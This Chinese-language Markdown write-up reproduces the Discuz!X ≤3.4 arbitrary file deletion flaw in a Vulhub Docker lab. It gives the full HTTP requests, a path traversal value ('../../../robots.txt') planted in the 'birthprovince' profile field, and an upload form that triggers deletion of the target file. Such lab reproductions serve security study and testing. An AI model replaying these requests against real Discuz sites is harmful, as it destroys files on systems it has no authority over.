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115 lines
4.2 KiB
Markdown
115 lines
4.2 KiB
Markdown
# Discuz!X ≤3.4 任意文件删除漏洞
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## 漏洞描述
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漏洞详情：https://lorexxar.cn/2017/09/30/dz-delete/
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## 漏洞影响
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```
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Discuz!X ≤3.4
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```
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## 环境搭建
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Vulhub执行下列命令部署 Discuz!X 安装环境
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```
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docker-compose up -d
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```
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启动后，访问`http://your-ip/install/`来安装discuz，只用修改数据库地址为`db`，其他保持默认即可。
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## 漏洞复现
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访问`http://your-ip/robots.txt`可见robots.txt是存在的：
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注册用户后，在个人设置页面找到自己的formhash：
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带上自己的Cookie、formhash发送如下数据包：
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```
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POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
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Host: 192.168.174.128
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Content-Length: 370
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://192.168.174.128
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW8uA1wbCsmuiargU
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: http://192.168.174.128/home.php?mod=spacecp&ac=profile&op=base
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9
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Cookie: AuthSession=dGhyZWVraTo2MjE0NEM0Mzrhe4V-bNxBqV-1RKA7mJS_YQrC9A; ot6_visitedfid=2; ot6_sid=9yWYy0; et56_2132_saltkey=qN7vqIdT; et56_2132_lastvisit=1645503280; et56_2132_sid=Ze005m; et56_2132_seccode=1.526c82122231460dd9; et56_2132_ulastactivity=6467KkrgcKDQNmUlDxKLd592a6DUvLlRSPU4g07eDld2bKtFo3JU; et56_2132_auth=45cdTg%2F0tTayn1c5i6fOd%2F96K8vGKx7SVg9MgaAoLalS102hICOtVzWjuDHbYtyyH8Rqe54O1WS9d%2Fa0s%2FIV; et56_2132_nofavfid=1; et56_2132_onlineusernum=1; et56_2132_noticeTitle=1; et56_2132_lastact=1645507206%09home.php%09misc
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Connection: close
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------WebKitFormBoundaryW8uA1wbCsmuiargU
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Content-Disposition: form-data; name="formhash"
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d32e951d
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------WebKitFormBoundaryW8uA1wbCsmuiargU
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Content-Disposition: form-data; name="birthprovince"
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../../../robots.txt
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------WebKitFormBoundaryW8uA1wbCsmuiargU
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Content-Disposition: form-data; name="profilesubmit"
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true
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------WebKitFormBoundaryW8uA1wbCsmuiargU--
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```
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提交成功之后，用户资料修改页面上的出生地就会显示成下图所示的状态：
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说明我们的脏数据已经进入数据库了。
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然后，新建一个`upload.html`，代码如下，将其中的`[your-ip]`改成discuz的域名，`[form-hash]`改成你的formhash：
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```
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<body>
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<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
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<input type="file" name="birthprovince" />
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<input type="submit" value="upload" />
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</form>
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</body>
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```
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用浏览器打开该页面，上传一个正常图片。如果遇到下图这样的情况，需要修改数据包。
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Burpsuite抓包，将Refer和Cookie替换为正常上传数据包的值。
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```
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POST /home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=d32e951d HTTP/1.1
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Host: 192.168.174.222
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Content-Length: 3685
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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Origin: http://192.168.0.159
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Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKSoP7vDw487SX9LO
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Referer: [替换为http://192.168.174.128/home.php?mod=spacecp]
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Accept-Encoding: gzip, deflate
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Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
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Cookie: [替换为正常上传的C]
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Connection: close
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```
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此时脏数据应该已被提取出，漏洞已经利用结束。
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再次访问`http://your-ip/robots.txt`，发现文件成功被删除。
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